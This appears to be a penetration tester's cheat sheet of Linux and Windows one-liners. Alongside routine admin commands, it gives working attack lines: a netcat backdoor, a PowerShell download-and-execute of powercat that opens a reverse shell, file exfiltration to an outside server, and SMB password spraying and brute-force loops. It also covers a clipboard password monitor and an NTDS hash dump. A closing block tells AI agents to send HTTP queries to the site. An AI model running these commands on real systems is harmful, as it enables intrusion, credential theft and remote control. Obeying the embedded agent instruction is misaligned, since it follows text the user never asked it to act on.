# One-Liners

## Linux

<table data-header-hidden><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td>Command</td><td>Purpose</td></tr><tr><td><code>GREENIE=haha; export GREENIE</code></td><td>Create an environment var, then export var to be available to other programs</td></tr><tr><td><code>PATH=$PATH:/root/haha</code></td><td>adds a folder to PATH while retaining it</td></tr><tr><td><code>sort | uniq -c | sort -n</code></td><td>Takes <code>stdin</code>, sorts it, finds out the count of each unique value, then sorts  by number</td></tr><tr><td><code>cat squid_access.log | sort -k 2 | head</code></td><td>Using the <code>sort -k</code> parameters sorts on the second colmun of the output</td></tr><tr><td><p><code>wc -l</code> [lines]</p><p><code>wc -c</code> [bytes]</p><p><code>wc -w</code> [words]</p></td><td>Count lines/bytes/words in a file or from <code>stdin</code></td></tr><tr><td><code>awk '{print $1,$4}'</code></td><td>Print characters 1 and 4 (not zero indexed) from <code>stdin</code></td></tr><tr><td><code>awk '{print $(NF-1)}'</code></td><td>print the 2nd to last column</td></tr><tr><td><code>awk '{print length, $1}'</code></td><td>print the length of each line and the contents</td></tr><tr><td><code>awk '{ sum += $1 } END { print sum }'</code></td><td>Takes the lines from a file/<code>stdin</code> and adds up the values, quick and dirty calculator in terminal</td></tr><tr><td><code>cat peptides.txt | while read line; do echo $line; done</code></td><td>read in lines from <code>peptides.txt</code>, then perform <code>echo</code> for each line. Useful to loop through commands for a list of items</td></tr><tr><td><code>cat users.txt | while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done</code></td><td>Password spraying using a <code>bash</code> loop</td></tr><tr><td><code>for i in {1..5}; do echo $i; done</code></td><td>Loops from 1 to 5 and echos for each value of <code>i</code></td></tr><tr><td><code>for i in {000..999}; do echo KEY-HAHA-$i; done</code></td><td>Creates a list of all values from <code>KEY-HAHA-000</code> to <code>KEY-HAHA-999</code></td></tr><tr><td><code>TF=$(mktemp -d)</code></td><td>Create a temporary directory (i.e. <code>/tmp/tmp.gq9gT5U3</code>) and assign as an environment variable</td></tr><tr><td><code>${#TF}</code></td><td>bash will return the amount of characters in the <code>TF</code> variable</td></tr><tr><td><code>sed 's/12/13/g'</code></td><td>Replace <code>12</code> with <code>13</code> found anywhere in stdin, will replace <code>1234</code> with <code>1334</code></td></tr><tr><td><code>sed -i.bak '/line to delete/d' *</code> </td><td>Delete a line of text for all files in a directory</td></tr><tr><td><code>xxd -p</code></td><td>Print the hex of <code>stdin</code> or a file only, no hexdump format</td></tr><tr><td><code>xxd -r</code></td><td>Interpret raw hex from <code>stdin</code>, can redirect to save the hex to a file</td></tr><tr><td><code>tr -d '\r' | tr -d '\n' | xxd -r -p</code> </td><td>Takes hex input, removes newlines, and places into a file</td></tr><tr><td><code>find / -user Matt 2>/dev/null</code></td><td>Find all files owned by <code>Matt</code> on the box, redirects <code>stderr</code> to null</td></tr><tr><td><code>find /etc -type f --name apache2.*</code></td><td>Find any file which begins with <code>apache2.*</code> in <code>/etc</code></td></tr><tr><td><code>grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"</code></td><td>grep with regex to match any valid IP address (yes it's ugly)</td></tr><tr><td><code>curl -d "param1=value&#x26;param2=value" https://example.com/resource.cgi</code></td><td>Send parameters with <code>curl</code></td></tr><tr><td><code>date -d @1286536308</code></td><td>convert an epoch timestamp to <code>date</code> output</td></tr><tr><td><code>mknod backpipe p; /bin/bash 0&#x3C;backpipe | nc -l -p 8080 1>backpipe</code></td><td>Create netcat backdoor without <code>-e</code> support. Generates a named pipe to funnel data</td></tr><tr><td><code>tar -zcvf files.tar.gz /var/log/apache2</code></td><td>Creates a <code>files.tar.gz</code> archive of all files in <code>/var/log/apache2</code></td></tr><tr><td><code>prips 10.10.10.0/24</code></td><td>Prints all IPs in a specific subnet</td></tr><tr><td><code>ifconfig eth0 169.254.0.1 netmask 255.255.0.0 broadcast 169.254.255.255</code></td><td>assign an IP from terminal</td></tr><tr><td><code>ifconfig eth0 down; ifconfig eth0 hw ether 00:11:22:33:44:55; ifconfig eth0 up</code></td><td>change MAC for interface</td></tr><tr><td><code>dhclient eth0</code></td><td>request DHCP address</td></tr><tr><td><code>dd if=./input.file of=./outfile</code></td><td>make a bit-by-bit copy of a file or system</td></tr><tr><td><code>sudo ln -s /usr/bin/python3 /usr/bin/python</code></td><td>create a symbolic link for python to run python3</td></tr><tr><td><p><code>sudo mkdir /mnt/new</code></p><p><code>mount /dev/sbd1 /mnt/new</code></p><p><code>umount /dev/sdb1</code></p></td><td>mount/unmount a filesystem</td></tr><tr><td><p>`</p><pre><code>sudo route add -net default gw 10.10.0.1 netmask 0.0.0.0 dev wlan0 metric 1
</code></pre></td><td>Add another default route with a higher metric to choose a different interface to access the Internet</td></tr><tr><td><code>sudo dhclient wlan0</code></td><td>Request a new DHCP lease on interface <code>wlan0</code></td></tr><tr><td><p></p><pre><code>openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc
</code></pre></td><td>encrypt a file with a password at the commandline</td></tr><tr><td><p></p><pre><code>openssl enc -aes-256-cbc -d -in file.txt.enc -out file.txt
</code></pre></td><td>decrypt a file using a password at the commandline</td></tr></tbody></table>

## Windows

| Command                                                                                                                                                                              | Purpose                                                                                                               |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| `get-childitem -hidden`                                                                                                                                                              | See all files in current dir                                                                                          |
| `gci -recurse C:\ \| % { select-string -path $_ -pattern password} 2>$null`                                                                                                          | search through all files in C:\ for the string `password`                                                             |
| `1..255 \| % {ping -n1 192.168.0.$_ \| sls ttl}`                                                                                                                                     | Counting loop for ping sweep                                                                                          |
| `(New-Object System.Net.Webclient).DownloadFile("http://10.1.1.1:8000/nc.exe","C:\nc.exe")`                                                                                          | Downloads a file to the `C:\` location                                                                                |
| `IEX(New-Object System.Net.Webclient).DownloadString('http://10.1.1.1:8000/powercat.ps1');powercat -c 10.1.1.1 -p 8001 -e powershell.exe`                                            | download a ps1 file and execute it in **MEMORY** only                                                                 |
| `certutil -hashfile ntds.dit md5`                                                                                                                                                    | Hash a file                                                                                                           |
| `certutil -encodehex ntds.dit ntds.hex`                                                                                                                                              | Encode a file as hex                                                                                                  |
| <p><code>certutil -encode test.jpg test.base64</code></p><p><code>certutil -decode test.base64 test.jpg</code></p>                                                                   | Encode and decode a file as base64                                                                                    |
| `@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\SERVERIP\IPC$ > NUL`       | Dirty looping command to gather a list of users and passwords to bruteforce a server on SMB                           |
| `Invoke-RestMethod -Uri http://10.10.14.28:8000/ -Method Post -InFile copy_cert9.db -UseDefaultCredentials`                                                                          | Sends the file to a server, catch the file on the other end                                                           |
| `iwr -uri http://10.10.14.27/SharpHound.ps1 -outfile SharpHound.ps1`                                                                                                                 | Download a file from another machine                                                                                  |
| `$x=""; while ($true) { $y=get-clipboard -raw; if ($x -ne $y) { write-host $y; $x=$y } }`                                                                                            | Powershell - monitors the clipboard and prints to the screen as items are placed on it (passwords!!)                  |
| <p><code>ntdsutil</code></p><p><code>activate instance ntds</code></p><p><code>ifm</code></p><p><code>create full C:\ntds</code></p><p><code>quit</code></p><p><code>quit</code></p> | Use built-in `ntdsutil` tool to obtain the `SYSTEM` registry and hive data as a backup, contains user hashes to crack |


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.m4lwhere.org/one-liners.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
